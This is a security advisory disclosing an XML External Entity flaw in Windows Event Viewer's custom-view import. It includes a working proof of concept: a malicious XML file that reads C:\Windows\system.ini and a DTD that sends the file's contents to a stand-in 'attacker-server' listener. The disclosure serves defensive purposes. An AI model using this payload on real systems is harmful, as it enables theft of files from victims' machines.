[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EVENT-VIEWER-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec



Vendor:
=================
www.microsoft.com



Product:
========================
Microsoft Event Viewer
Version: 1.0

The Windows Event Viewer shows a log of application and system messages –
errors, information messages, and warnings.


Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Windows Event Viewer user can import 'Custom View' files, these files
contain XML, the parser processes External Entity potentially allowing
attackers
to gain remote file access to files on a victims system if user imports a
corrupt XML file via remote share/USB (or other untrusted source).



Tested Windows 7 SP1


Exploit code(s):
===============


1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer.
2) Action / Import Custom View
3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC
4) Files are accessed and sent to remote server.

User gets error like "The specified custom view is not valid" attacker gets
files!



"payload.dtd" (host on attacker server)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">
%all;


"MyCustomView.xml"  (malicious windows Event Custom View XML)

<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Attacker server listener

python -m SimpleHTTPServer 8080




Disclosure Timeline:
=====================================
Vendor Notification: August 30, 2016
Vendor reply: "does not meet the bar for security servicing." August 30,
2016
December 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx